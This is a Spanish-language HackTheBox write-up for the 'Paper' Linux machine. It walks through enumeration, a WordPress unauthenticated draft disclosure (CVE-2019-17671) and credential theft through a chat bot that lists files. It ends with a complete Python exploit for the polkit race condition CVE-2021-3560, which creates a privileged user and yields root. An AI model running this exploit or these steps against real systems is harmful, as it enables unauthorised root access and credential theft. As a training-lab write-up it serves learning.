Empezando con la enumeración encontramos servicios web en Wordpress con un hostanme oculto en la cabezera X-Backend-Server. Luego encontramos una vulnerabilidad en la versión actual de Wordpress que nos permite ver un Draft del sitio (CVE-2019-17671) y encontrar un nuevo dominio. En esta web encontramos un bot que nos permite listar directorios y archivos, con ello conseguimos una credenciales para entrar por SSH. Para la escalada usamos Linpeas y encontramos que la version de Sudo nos permite crear un usuario con privilegios (CVE-2021-3560), logearnos y ser root.
OS | IP | Release Date | Difficulty | Points |
---|---|---|---|---|
Linux | 10.10.11.143 | 5 Feb 2022 | Easy | 20 |
Antes de empezar es importante verificar que estamos conectados a la VPN de HackTheBox y tenemos conexión con la máquina, para ello usamos el comando ping
:
Observamos que enviamos un paquete
_1 packets transmitted_
y lo recibimos_1 received_
, lo cuál significa que tenemos una conexión exitosa
Enumeration
Empezamos enumerando los puertos TCP que están abiertos en la máquina víctima, para ello usamos la herramienta nmap
:
Explicación de parámetros :
-p- : Escanear todos los puertos, del 1 al 65,535
--open : Escanear solo puertos abiertos
-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo
--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo
-v : Imprimir información del proceso del escaneo
-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)
-oG <file> : Guardar output en un archivo (<file>) de formato grepable
Observamos que tenemos abierto el puerto 22 (ssh), 80 (http) y 443 (https), con esta información volvemos a realizar un escaneo pero a estos 3 puertos en específico:
Explicación de parámetros :
-p<port_1,port_2,...> : Indicamos que puertos queremos escanear
-sC : Ejecutar en los puertos scripts por defecto de nmap
-sV : Activar detección de versiones de los servicios que corren por los puertos
-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap
Como no disponemos de credenciales válidas omitiremos toquetear el puerto 22, pero lo que si tenemos son dos servicios web (http, https), así que procedemos a ejecutar un whatweb
a cada una de ellas y en paralelo las abrimos en el navegador para ver su contenido
Encontramos está página en los dos servicios, la cuál es una página de prueba tras instalar el servidor web:
Por la otra parte encontramos algo interesante:
Como vemos arriba, en el output para el servicio http observamos un posible nombre de dominio office.paper, pero para estar mas seguros averiguamos de que va el campo X-Backend usando el parámetro -v
de whatweb
que nos pemite ver más información:
Al parecer se trata de un plugin que extrae información de ciertos headers, y como obervamos en los HTTP HEADERS, disponemos del header X-Backend_Server, pero que significa excactamente?
Entonces encontramos un nombre de dominio office.paper
de la máquina, pero al ejecutarle un ping
o curl
nos sale que es un servicio desconocido. Para estos casos llegamos a la conclusión que se está aplicando Virtual Hosting, y para tener una conexión debemos agregar office.paper
a nuestro archivo /etc/hosts
: echo "10.10.11.143 office.paper" >> /etc/hosts
Con estos pasos ya tendremos acceso al servicio web:
Ya en la página, encontramos algo interesante sobre un post que menciona que un usuario publicó información confidencial en un borrador reciente, lo cuál puede ser una brecha vulnerable
Al igual que antes podemos extraer información del servicio web, lo haremos, pero está vez con la extensión del navegador wappalyzer
. Podemos observar que se usa el gestor de contenido WordPress 5.2.3
, y que por defecto poseen la ruta wp-login.php
para poder logearse. En caso de que nos sepan eso, al momento de toquetear la página encontraran un enlace a esto mismo:
De primeras intentamos examinar la paǵina para ver el código fuente ctrl + u
y observamos un posible LFI al momento de pinchar en el enlace Lost your password?. Además en al dirigirnos a la ruta wp-admin
podemos observar en el URL una redirección y posible RCE, pero ninguna de estas 2 opciones funcionará para el acceso
Foothold
Buscando vulnerabilidades de la versión encontramos la adecuada para poder ver borradores privados sin estar autenticados (CVE-2019-17671). La vulnerabilidad consiste en asignar al parametro static un valor a 1 static=1
, lo cuál permitira desviar un condicional y nos permitira ver el siguiente draft:
En el siguiente enlace encontramos la explicación de la vulnerabilidad a detalle: https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
Observamos una URL de un Sistema de chat para empleados, la cúal es un subdominio y se aplica Virtual Hosting, entonces la agregamos a nuetro archivo /etc/hosts
: echo "10.10.11.143 chat.office.paper" >> /etc/hosts
:
Procedemos a registrarnos y luego dentro del sistema de chat encontramos un chat general y mirando los mensajes antiguos encontramos que existe un bot llamado recyclops con el cuál puedes interactuar:
Procedemos a buscar al bot y escribimos help
para que despliege un panel de ayuda y veamos de que manera podemos interactuar. Al parecer podemos listar directorios y archivos, así que empezamos a buscar y buscar, una cosa nos llevó a la otra y encontramos unas credenciales:
Para llegar al archivo :
Primero fuimos a la raíz y listando encontramos un script bot_restart.sh que valida la ejecución del bot y lo resetea
Leyendo el código encontramos que ejecuta el script start_bot.sh y para verlo nos dirigimos a él
Leyendo el código vemos que ejecuta con
source
el contenido del archivo .env y luego el binario hubotRevisamos que ejecuta en el .env y sorpresa!
Este archivo .env, como menciona su nombre, sirve para asignar variables de entorno para la elaboración de un proyecto
Recordamos que el puerto 22 (ssh) está abierto y que en este chat nos encontrabamos como el usuario dwight
(lo sabemos si miramos el archivo /etc/passwd con el bot), entonces usando la contraseña nos logeamos y pa-dentro:
Privilege Escalation
Ya dentro como el usuario dwight
solo nos queda escalar privilegios a root
entonces hacemos una ejecución básica de comandos para listar binarios que podemos ejecutar como SUDO sudo -l
o que tengan el permiso SUID find / -perm -4000 2>/dev/null
:
Lamentablemente no logramos nada, así que recurrimos a la herramienta LinPEAS que nos permite buscar diferentes rutas a explotar y poder escalar privilegios en el sistema. Una vez instalado lo pasamos a la máquina víctima con nc
:
Ahora solo le damos permisos de ejecución chmod +x linpeas.sh
, ejecutamos ./linpeas.sh
y de primeras encontramos una vulnerabilidad para sudo 1.8.29
:
Esta vulnerabilidad CVE-2021-3560 se basa en el servicio polkit, el cuál se encarga de gestionar la autorización entre los procesos sin privilegios hacia los privilegiados.
Para la explotación hice un script en python
que nos proporcionará las credenciales del usuario con privilegios:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3
import sys, signal, time, subprocess, shlex, random, pdb, os, pwd
# colors
def inRed(s): print("\033[91m {}\033[00m" .format(s), end="")
def inGreen(s): print("\033[92m {}\033[00m" .format(s), end="")
def inYellow(s): print("\033[93m {}\033[00m" .format(s), end="")
def inMagenta(s): print("\033[95m {}\033[00m" .format(s), end="")
# ctrl + c
def signal_handler(signum, frame):
inRed("\n[!] Exiting..."); sys.exit()
signal.signal(signal.SIGINT, signal_handler)
# create user
def createUser(default_user):
time.sleep(2)
exit_user, counter = False, 0
inYellow("\n[+] Trying to create default user...\n\n")
while not exit_user:
# start and kill the process until the user is created
time.sleep(0.5)
inYellow("\t[-] Attempt"); inRed(f"{counter}\n")
counter += 1
process = subprocess.Popen(shlex.split(f'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:{default_user} string:"creating user" int32:1'), stderr=subprocess.DEVNULL)
try:
rand = random.uniform(0.006, 0.009)
process.wait(timeout=rand)
process.kill()
except subprocess.TimeoutExpired:
process.kill()
# validate user creation
user = subprocess.run(shlex.split(f'id {default_user}'), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout.decode('utf-8')
if user.find("uid") != -1:
inYellow("\n\t[*] User created:"); inMagenta(f"{default_user}")
inYellow("\n\t[*] Time out at:"); inGreen(str(rand) + "\n")
exist_user = True
break
if counter - 1 > 100:
inRed("\n[-] Error creating user!"); sys.exit()
# assing password
def assignPasswd(default_user, default_password):
time.sleep(2)
inYellow("\n[+] Assigning password to user"); inMagenta(f"{default_user}\n")
for i in range(200):
# start and kill the process until the password is created
# extract UID from user
uid = "/org/freedesktop/Accounts/User" + str(pwd.getpwnam(f"{default_user}").pw_uid)
# Create password in SHA-512 format
hash_passwd = subprocess.run(shlex.split(f'openssl passwd -5 {default_password}'), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout.decode('utf-8')
passwd = f"string:{hash_passwd.rstrip()}"
# Assign password to user
process = subprocess.Popen(shlex.split(f'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply {uid} org.freedesktop.Accounts.User.SetPassword {passwd} string:"assign user passsword"'), stderr=subprocess.DEVNULL)
try:
rand = random.uniform(0.006, 0.009)
process.wait(timeout=rand)
process.kill()
except subprocess.TimeoutExpired:
process.kill()
time.sleep(0.5)
inYellow("\n\t[*] Registered password")
inYellow("\n\t[*] Time out at:"); inGreen(str(rand) + "\n")
# get credentials sudo
def getCredentials(default_user, default_passwd):
time.sleep(2)
inYellow("\n[+] Exploit Completed, log in to be root:\n\n")
time.sleep(0.5)
inYellow("\t[*] User :"); inGreen(f"{default_user}\n")
inYellow("\t[*] Password:"); inGreen(f"{default_passwd}\n\n")
# process
def run():
default_user = 'marss'
default_password = 'marss###'
createUser(default_user)
assignPasswd(default_user, default_password)
getCredentials(default_user, default_password)
# main
if __name__ == '__main__':
run()
time.sleep(2)
# References
#------------------------------------------------------------------------------------
# https://github.com/innxrmxst/CVE-2021-3560/blob/main/ex.py
# https://www.hackplayers.com/2021/06/escalado-de-privilegios-mediante-polkit.html
Pueden clonar el script en mi repositorio: https://github.com/E1P0TR0
Una vez descargado solo tenemos que pasarla a la máquina víctima al igual que pasamos el LinPEAS
El script consiste en que la herramienta dbus-send
se encagará de crear un usuario por defecto marss
y antes de que esa petición sea autorizada por el servicio polkit (verificando que el UID del proceso sea 0 -> root), mataremos el proceso kill
y repetiremos esta secuencia hasta que polkit al recibir una petición que ya no existe, entre en conflicto y envés de rechazar la petición, logre aceptar el proceso con un UID = 0 y se cree el usuario con privilegios. Luego de ello repetiremos el proceso para asignarle una contraseña válida al usuario y ya poder logearnos:
Logramos ver la credenciales, ahora solo nos logeamos con su marss
, escribimos la contraseña marss###
, nos volvemos root con sudo su
y pa-dentro:
Importante!
Que nos permite volvernos root?
La respuesta está en el grupo
wheel
al cúal pertencemos depues explotar la vulnerabilidadY… qué es el grupo Wheel?
Pues los miembros que pertenecen a este grupo tienen automáticamente privilegios sudo